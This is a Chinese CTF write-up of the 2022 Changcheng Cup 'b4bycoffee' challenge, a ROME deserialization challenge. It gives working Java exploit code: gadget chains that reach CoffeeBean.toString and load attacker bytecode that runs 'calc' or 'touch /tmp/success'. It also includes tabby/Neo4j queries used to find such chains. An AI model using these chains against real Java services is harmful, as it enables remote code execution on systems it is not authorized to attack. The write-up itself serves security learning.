tabby长城杯2022分析

Posted by Azeril on November 26, 2023

前言

最近发现自己对打CTF的热情逐渐减少了可能是自己大三了唉老了),但却对课本越来越感兴趣了但对我的java热情也极具增高尤其是最近多了tabby这个爱妃高兴了好几天了接下来就学学如何使用她

正文

😍✌真好附件直接给出了,不用费工夫去找附件了。

备用:b4bycoffee_f18028284cae793d0b1da80146f01bd0.zip

rome 1.7
Springboot
jackson

考察的rome反序列化,rome经典打法就是直接 signObject二次反序列化

image-20231126180340425

Hashmap+Rome

HashMap::readObject->hash->key.hashcode
ObjectBean::hashCode
       EqualsBean::beanHashCode
                     ObjectBean::toString()
                            ToStringBean::toString() 
                                   ToStringBean::toString()方法中的 invoke执行

二次反序列化

 getObject:177, SignedObject (java.security)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 beanEquals:146, EqualsBean (com.sun.syndication.feed.impl)
 equals:103, EqualsBean (com.sun.syndication.feed.impl)
 equals:495, AbstractMap (java.util)
 reconstitutionPut:1241, Hashtable (java.util)
 readObject:1215, Hashtable (java.util)

我就说好熟悉,果不其然前几天刚遇到,我丢这出题只把kryo序列化改成了普通的序列化!!!

image-20231126182642622

上次的题是 kryo+rome二次反序列化做的,这道题多了一个黑名单的限制

image-20231126182906479

对比而言卡的是二次反序列化后面的类,二次反序列化还是可以正常执行的

此时疑问:二次反序列化的链子还会被拦截嘛

试了这种resolveClass是会被拦截的

image-20231126193430531

那就是改这个二次反序列化后的结果,都禁了。。。

HashMap::readObject->hash->key.hashcode
ObjectBean::hashCode
       EqualsBean::beanHashCode
                     ObjectBean::toString()
                            ToStringBean::toString() 
                                   ToStringBean::toString()方法中的 invoke执行

找了一下hessian原生jdk链子缺少依赖也打不通

没思路了看看其他给出的类

给了一个CoffeeBean类实现序列化 接口,并且有toString方法可以执行任何代码,所以出口肯定是调用CoffeeBean#toString方法,并且反射修改ClassByte的值

public class CoffeeBean extends ClassLoader implements Serializable {
    private String name = "Coffee bean";
    private byte[] ClassByte;

    public String getName() {
        return this.name;
    }

    public void setName(String name) {
        this.name = name;
    }

    @Override // java.lang.Object
    public String toString() {
        try {
            new CoffeeBean().defineClass(null, this.ClassByte, 0, this.ClassByte.length).newInstance();
            return "A cup of Coffee --";
        } catch (IllegalAccessException var6) {
            var6.printStackTrace();
            return "A cup of Coffee --";
        } catch (InstantiationException var5) {
            var5.printStackTrace();
            return "A cup of Coffee --";
        }
    }
}
HashMap::readObject->hash->key.hashcode
EqualsBean::hashCode//也没了
       EqualsBean::beanHashCode  //到这里都没被过滤
           
           
           
                     ObjectBean::toString()  //下面全过滤了
                            ToStringBean::toString() 
                                   ToStringBean::toString()方法中的 invoke执行

???这不是直接通了嘛这条链子

HashMap#readObject
    EqualsBean#hashCode
       EqualsBean#beanHashCode
            CoffeeBean#toString
无语。。。烂题

image-20231126201132614

本地搞完了,遇到的坑点

如果直接用hashmap.put就会直接触发hashcode...用到刚写的那篇文章反射构建hashmap美滋滋

image-20231126204344138

为数不多的一次成功,哈哈哈当然是因为简单。

image-20231126204758890

先贴一下poc

package com.example.b4bycoffee.controller;

import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class poc {
    public static String string;
    public static void main(String[] args) throws Exception {
        Path path= Paths.get("C:\\Users\\c'x'k\\Desktop\\CTF\\2022长城杯 bycoffee\\Evil.class");
        byte[] bytes= Files.readAllBytes(path);
        CoffeeBean coffeeBean=new CoffeeBean();
        Field classByte = coffeeBean.getClass().getDeclaredField("ClassByte");
        classByte.setAccessible(true);
        classByte.set(coffeeBean,bytes);



        EqualsBean equalsBean=new EqualsBean(Object.class,coffeeBean);



//        HashMap hashMap=new HashMap();
//        hashMap.put(equalsBean,"aa");


        HashMap hashMap=new HashMap();
        setFieldValue(hashMap, "size", 1);
        Class nodeC;
        nodeC = Class.forName("java.util.HashMap$Node");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 1);
        //创建一个数组
        Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, "whatever", null));
        setFieldValue(hashMap, "table", tbl);

        serialize(hashMap);
        System.out.println(string);
        unserialize();
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
    public static void setFieldValue(Object obj,String name,Object newobj) throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(name);
        declaredField.setAccessible(true);
        declaredField.set(obj,newobj);

    }
}

Evil.java

import java.io.IOException;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public static void main(String[] args) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

defineClass会触发静态方法!!!

接下来看看佬们如何找新的链子

tabby启动,首先肯定是先生成数据库

Case1 (HashMap -> HotSwappableTargetSource.equals -> XString.equals -> .toString)

啊这条链子,最近学的都用上来捏,看看怎么找到的,只会利用不会找

match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
//通过将 sink 节点归集到 sinks 列表中,后续的操作可以针对整个列表进行处理
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
    //
where none(n in nodes(path) where 
    n.NAME0 in ["com.sun.xml.internal.ws.api.BindingID.equals","org.yaml.snakeyaml.events.Event.equals","com.sun.corba.se.spi.orb.OperationFactory$OperationBase.equals","org.springframework.cache.interceptor.CacheOperation.equals","javax.swing.text.html.HTML$UnknownTag.equals"]
)
return path limit 1

这里遇到了问题。它不报错但就是找不到,起初怀疑没导入进来,但是coffee那个类却存在

image-20231126215332809

match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
 
match (source:Method {NAME:"toString",CLASSNAME:"com.com.example.b4bycoffee.model.CoffeeBean"})
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})<-[:CALL]-(m1:Method)
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 20) yield path 
return * limit 20

这里都没成功 怀疑是 CLASSNAME的问题

image-20231126221129844

match (source:Method {NAME:"readObject",CLASSNAME:"com.sun.org.apache.xerces.internal.dom.NamedNodeMapImpl"}) return source

stop

tnnd我就说不太对劲直接换了个最新的版本,旧的版本不支持服啦

还有一个坑就是一定要配置这些索引,亲身经历教训没配置,从中午跑到了下午硬是没跑完,配置了2分钟跑完。。。

CREATE CONSTRAINT c1 IF NOT EXISTS FOR (c:Class) REQUIRE c.ID IS UNIQUE;
CREATE CONSTRAINT c2 IF NOT EXISTS FOR (c:Class) REQUIRE c.NAME IS UNIQUE;
CREATE CONSTRAINT c3 IF NOT EXISTS FOR (m:Method) REQUIRE m.ID IS UNIQUE;
CREATE CONSTRAINT c4 IF NOT EXISTS FOR (m:Method) REQUIRE m.SIGNATURE IS UNIQUE;
CREATE INDEX index1 IF NOT EXISTS FOR (m:Method) ON (m.NAME);
CREATE INDEX index2 IF NOT EXISTS FOR (m:Method) ON (m.CLASSNAME);
CREATE INDEX index3 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.CLASSNAME);
CREATE INDEX index4 IF NOT EXISTS FOR (m:Method) ON (m.NAME, m.NAME0);
CREATE INDEX index5 IF NOT EXISTS FOR (m:Method) ON (m.SIGNATURE);
CREATE INDEX index6 IF NOT EXISTS FOR (m:Method) ON (m.NAME0);
CREATE INDEX index7 IF NOT EXISTS FOR (m:Method) ON (m.NAME0, m.CLASSNAME);
:schema //查看表库
:sysinfo //查看数据库信息	
DROP CONSTRAINT c1;
DROP CONSTRAINT c2;
DROP CONSTRAINT c3;
DROP CONSTRAINT c4;
DROP INDEX index1;
DROP INDEX index2;
DROP INDEX index3;
DROP INDEX index4;
DROP INDEX index5;
DROP INDEX index6;
DROP INDEX index7;
match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})
match (sink:Method {NAME0:"com.example.b4bycoffee.model.CoffeeBean.toString"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
return path limit 1
    
match (source:Method)
match (sink:Method {NAME:"compare"})
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source, sinks, 8, false, false) yield path
return path limit 1

实现 从readObject–>toString的调用,深度为8,这里重要的是NAME0,是根据Method的方法来构造的

image-20231127194517411

image-20231127193652846

给了一个这个类,但根据现实调试时触发不到toString方法的

image-20231127195927538

怪不得要限制路径

image-20231127200040315

发现很多方法都是调用到了 Object的toString但对象不可控,所以就是误报

出现了一个情况就是有的类并没有加入到数据库中,比如XString,尝试半天也未解决应该也可以把jar包继续加进去

然后看文章种✌也是找到了一个新的方法.我的图种是有ObjectIdGenerator这个类的,但只是没有XString

toString(), CoffeeBean (com.example.b4bycoffee.model)
equals(Object), XString (com.sun.org.apache.xpath.internal.objects)
equals(Object), ObjectIdGenerator$IdKey (com.fasterxml.jackson.annotation)
putVal(int, Object, Object, boolean, boolean), HashMap (java.util)
readObject(ObjectInputStream), HashMap (java.util)
CoffeeBean coffeeBean = new CoffeeBean();
Tool.setFieldValue(coffeeBean, "ClassByte", Tool.getCMDByteCodes("touch /tmp/success"));

XString xString = new XString("");

ObjectIdGenerator.IdKey idKey1 = new ObjectIdGenerator.IdKey(Object.class,Object.class,xString);
ObjectIdGenerator.IdKey idKey2 = new ObjectIdGenerator.IdKey(Object.class,Object.class,coffeeBean);
Tool.setFieldValue(idKey1,"hashCode",0);
Tool.setFieldValue(idKey2,"hashCode",0);

HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put(idKey1, "1");
hashMap.put(idKey2, "2");

String poc = Tool.encodeBase64(Tool.serialize(hashMap));

半开半就的结束了。🥺🥺🥺感觉这种自动化工具还是比较依靠后端时如何写的,不然有些链子根本找不到。但是自动化工具提供了一个好的思路并且更加快捷。


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。